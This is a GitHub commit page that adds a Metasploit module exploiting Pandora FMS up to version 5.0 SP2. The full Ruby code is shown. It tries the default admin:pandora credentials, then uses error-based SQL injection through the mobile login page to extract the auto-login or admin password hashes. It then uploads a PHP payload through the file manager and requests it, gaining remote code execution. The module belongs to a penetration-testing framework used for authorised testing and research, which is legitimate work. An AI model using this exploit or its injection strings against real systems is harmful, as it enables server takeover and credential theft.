Skip to content

Commit c82acfe

Browse files
committed
Land rapid7#2985, @pyoor's exploit for Pandora FMS Sql Injection
2 parents 448b6a1 + 16ed90d commit c82acfe

File tree

1 file changed

+317
-0
lines changed

1 file changed

+317
-0
lines changed
Lines changed: 317 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,317 @@
1+
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Pandora FMS SQLi Remote Code Execution',
17+
'Description' => %q{
18+
This module attempts to exploit multiple issues in order to gain remote
19+
code execution under Pandora FMS version <= 5.0 SP2. First, an attempt
20+
to authenticate using default credentials is performed. If this method
21+
fails, a SQL injection vulnerability is leveraged in order to extract
22+
the "Auto Login" password hash. If this value is not set, the module
23+
will then extract the administrator account's MD5 password hash.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'Lincoln <Lincoln[at]corelan.be>', # Discovery, Original Proof of Concept
29+
'Jason Kratzer <pyoor[at]corelan.be>' # Metasploit Module
30+
],
31+
'References' =>
32+
[
33+
['URL', 'http://pandorafms.com/downloads/whats_new_5-SP3.pdf'],
34+
['URL', 'http://blog.pandorafms.org/?p=2041']
35+
],
36+
'Platform' => 'php',
37+
'Arch' => ARCH_PHP,
38+
'Targets' =>
39+
[
40+
['Pandora FMS version <= 5.0 SP2', {}]
41+
],
42+
'Privileged' => false,
43+
'Payload' =>
44+
{
45+
'Space' => 50000,
46+
'DisableNops' => true,
47+
},
48+
'DisclosureDate' => "Feb 1 2014",
49+
'DefaultTarget' => 0))
50+
51+
register_options(
52+
[
53+
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Pandora FMS instance', '/pandora_console/']),
54+
OptString.new('USER', [false, 'The username to authenticate with', 'admin']),
55+
OptString.new('PASS', [false, 'The password to authenticate with', 'pandora']),
56+
], self.class)
57+
end
58+
59+
def uri
60+
target_uri.path
61+
end
62+
63+
64+
def check
65+
vprint_status("#{peer} - Trying to detect installed version")
66+
67+
version = nil
68+
res = send_request_cgi({
69+
'method' => 'GET',
70+
'uri' => normalize_uri(uri, 'index.php')
71+
})
72+
73+
if res && res.code == 200 && res.body =~ /Pandora FMS - the Flexible Monitoring System/
74+
if res.body =~ /<div id="ver_num">v(.*?)<\/div>/
75+
version = $1
76+
else
77+
return Exploit::CheckCode::Detected
78+
end
79+
end
80+
81+
unless version.nil?
82+
vprint_status("#{peer} - Pandora FMS #{version} found")
83+
if Gem::Version.new(version) <= Gem::Version.new('5.0SP2')
84+
return Exploit::CheckCode::Appears
85+
end
86+
end
87+
88+
Exploit::CheckCode::Safe
89+
end
90+
91+
92+
# Attempt to login with credentials (default admin:pandora)
93+
def authenticate
94+
res = send_request_cgi({
95+
'method' => 'POST',
96+
'uri' => normalize_uri(uri, 'index.php'),
97+
'vars_get' => {
98+
'login' => "1",
99+
},
100+
'vars_post' => {
101+
'nick' => datastore['USER'],
102+
'pass' => datastore['PASS'],
103+
'Login' => 'Login',
104+
}
105+
})
106+
107+
return auth_succeeded?(res)
108+
end
109+
110+
# Attempt to login with auto login and SQLi
111+
def login_hash
112+
clue = rand_text_alpha(8)
113+
sql_clue = clue.each_byte.map { |b| b.to_s(16) }.join
114+
# select value from tconfig where token = 'loginhash_pwd';
115+
sqli = "1' AND (SELECT 2243 FROM(SELECT COUNT(*),CONCAT(0x#{sql_clue},(SELECT MID((IFNULL(CAST"
116+
sqli << "(value AS CHAR),0x20)),1,50) FROM tconfig WHERE token = 0x6c6f67696e686173685f707764 "
117+
sqli << "LIMIT 0,1),0x#{sql_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP "
118+
sqli << "BY x)a) AND 'msf'='msf"
119+
120+
password = inject_sql(sqli, clue)
121+
122+
if password && password.length != 0
123+
print_status("#{peer} - Extracted auto login password (#{password})")
124+
else
125+
print_error("#{peer} - No auto login password has been defined!")
126+
return false
127+
end
128+
129+
print_status("#{peer} - Attempting to authenticate using (admin:#{password})")
130+
# Attempt to login using login hash password
131+
res = send_request_cgi({
132+
'method' => 'POST',
133+
'uri' => normalize_uri(uri, 'index.php'),
134+
'vars_get' => {
135+
'loginhash' => 'auto',
136+
},
137+
'vars_post' => {
138+
'loginhash_data' => Rex::Text.md5("admin#{password}"),
139+
'loginhash_user' => 'admin',
140+
}
141+
})
142+
143+
return auth_succeeded?(res)
144+
end
145+
146+
147+
def auth_succeeded?(res)
148+
if res && res.code == 200 && res.body.include?('Welcome to Pandora FMS')
149+
print_status("#{peer} - Successfully authenticated!")
150+
print_status("#{peer} - Attempting to retrieve session cookie")
151+
@cookie = res.get_cookies
152+
if @cookie.include?('PHPSESSID')
153+
print_status("#{peer} - Successfully retrieved session cookie: #{@cookie}")
154+
return true
155+
else
156+
print_error("#{peer} - Error retrieving cookie!")
157+
end
158+
else
159+
print_error("#{peer} - Authentication failed!")
160+
end
161+
162+
false
163+
end
164+
165+
166+
def extract
167+
# Generate random string and convert to hex
168+
clue = rand_text_alpha(8)
169+
hex_clue = clue.each_byte.map { |b| b.to_s(16) }.join
170+
171+
# select password from tusuario where id_user = 0;
172+
sqli = "test' AND (SELECT 5612 FROM(SELECT COUNT(*),CONCAT(0x#{hex_clue},(SELECT MID((IFNULL"
173+
sqli << "(CAST(password AS CHAR),0x20)),1,50) FROM tusuario WHERE id_user = 0 LIMIT 0,1)"
174+
sqli << ",0x#{hex_clue},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY "
175+
sqli << "x)a) AND 'msf'='msf"
176+
177+
password = inject_sql(sqli, clue)
178+
179+
if password && password.length != 0
180+
print_good("#{peer} - Extracted admin password hash, unsalted md5 - [ #{password} ]")
181+
else
182+
print_error("#{peer} - Unable to extract password hash!")
183+
return false
184+
end
185+
end
186+
187+
188+
def inject_sql(sql, fence_post)
189+
# Extract password hash from database
190+
res = send_request_cgi({
191+
'method' => 'POST',
192+
'uri' => normalize_uri(uri, 'mobile', 'index.php'),
193+
'vars_post' => {
194+
'action' => 'login',
195+
'user' => sql,
196+
'password' => 'pass',
197+
'input' => 'Login'
198+
}
199+
})
200+
201+
result = nil
202+
if res && res.code == 200
203+
match = res.body.match(/(?<=#{fence_post})(.*)(?=#{fence_post})/)
204+
if match
205+
result = match[1]
206+
else
207+
print_error("#{peer} - SQL injection failed")
208+
end
209+
end
210+
result
211+
end
212+
213+
def upload
214+
# Extract hash and hash2 from response
215+
res = send_request_cgi({
216+
'method' => 'GET',
217+
'cookie' => @cookie,
218+
'uri' => normalize_uri(uri, 'index.php'),
219+
'vars_get' => {
220+
'sec' => 'gsetup',
221+
'sec2' => 'godmode/setup/file_manager'
222+
}
223+
})
224+
225+
if res && res.code == 200 && res.body =~ /(?<=input type="submit" id="submit-go")(.*)(?=<input id="hidden-directory" name="directory" type="hidden")/
226+
form = $1
227+
228+
# Extract hash
229+
if form =~ /(?<=name="hash" type="hidden" value=")(.*?)(?=" \/>)/
230+
hash = $1
231+
else
232+
print_error("#{peer} - Could not extract hash from response!")
233+
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
234+
end
235+
236+
# Extract hash2
237+
if form =~ /(?<=name="hash2" type="hidden" value=")(.*?)(?=" \/>)/
238+
hash2 = $1
239+
else
240+
print_error("#{peer} - Could not extract hash2 from response!")
241+
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
242+
end
243+
244+
# Extract real_directory
245+
if form =~ /(?<=name="real_directory" type="hidden" value=")(.*?)(" \/>)/
246+
real_directory = $1
247+
else
248+
print_error("#{peer} - Could not extract real_directory from response!")
249+
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
250+
end
251+
else
252+
print_error("#{peer} - Could not identify upload form!")
253+
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
254+
end
255+
256+
257+
# Upload script
258+
@payload_name = "#{rand_text_alpha(8)}.php"
259+
post_data = Rex::MIME::Message.new
260+
post_data.add_part("<?php #{payload.encoded} ?>", 'text/plain', nil, %Q^form-data; name="file"; filename="#{@payload_name}"^)
261+
post_data.add_part('', nil, nil, 'form-data; name="unmask"')
262+
post_data.add_part('Go', nil, nil, 'form-data; name="go"')
263+
post_data.add_part(real_directory, nil, nil, 'form-data; name="real_directory"')
264+
post_data.add_part('images', nil, nil, 'form-data; name="directory"')
265+
post_data.add_part("#{hash}", nil, nil, 'form-data; name="hash"')
266+
post_data.add_part("#{hash2}", nil, nil, 'form-data; name="hash2"')
267+
post_data.add_part('1', nil, nil, 'form-data; name="upload_file_or_zip"')
268+
269+
print_status("#{peer} - Attempting to upload payload #{@payload_name}...")
270+
res = send_request_cgi({
271+
'method' => 'POST',
272+
'cookie' => @cookie,
273+
'uri' => normalize_uri(uri, 'index.php'),
274+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
275+
'data' => post_data.to_s,
276+
'vars_get' => {
277+
'sec' => 'gsetup',
278+
'sec2' => 'godmode/setup/file_manager'
279+
}
280+
})
281+
282+
if res && res.code == 200 && res.body.include?("Upload correct")
283+
register_file_for_cleanup(@payload_name)
284+
print_status("#{peer} - Successfully uploaded payload")
285+
else
286+
fail_with(Failure::Unknown, "#{peer} - Unable to inject payload!")
287+
end
288+
end
289+
290+
291+
def exploit
292+
# First try to authenticate using default or user-supplied credentials
293+
print_status("#{peer} - Attempting to authenticate using (#{datastore['USER']}:#{datastore['PASS']})")
294+
auth = authenticate
295+
296+
unless auth
297+
print_status("#{peer} - Attempting to extract auto login hash via SQLi")
298+
auth = login_hash
299+
end
300+
301+
unless auth
302+
print_status("#{peer} - Attempting to extract admin password hash with SQLi")
303+
extract
304+
fail_with(Failure::NoAccess, "#{peer} - Unable to perform remote code execution!")
305+
end
306+
307+
print_status("#{peer} - Uploading PHP payload...")
308+
upload
309+
310+
print_status("#{peer} - Executing payload...")
311+
res = send_request_cgi({
312+
'method' => 'GET',
313+
'uri' => normalize_uri(uri, 'images', @payload_name),
314+
'cookie' => @cookie
315+
}, 1)
316+
end
317+
end

0 commit comments

Comments
 (0)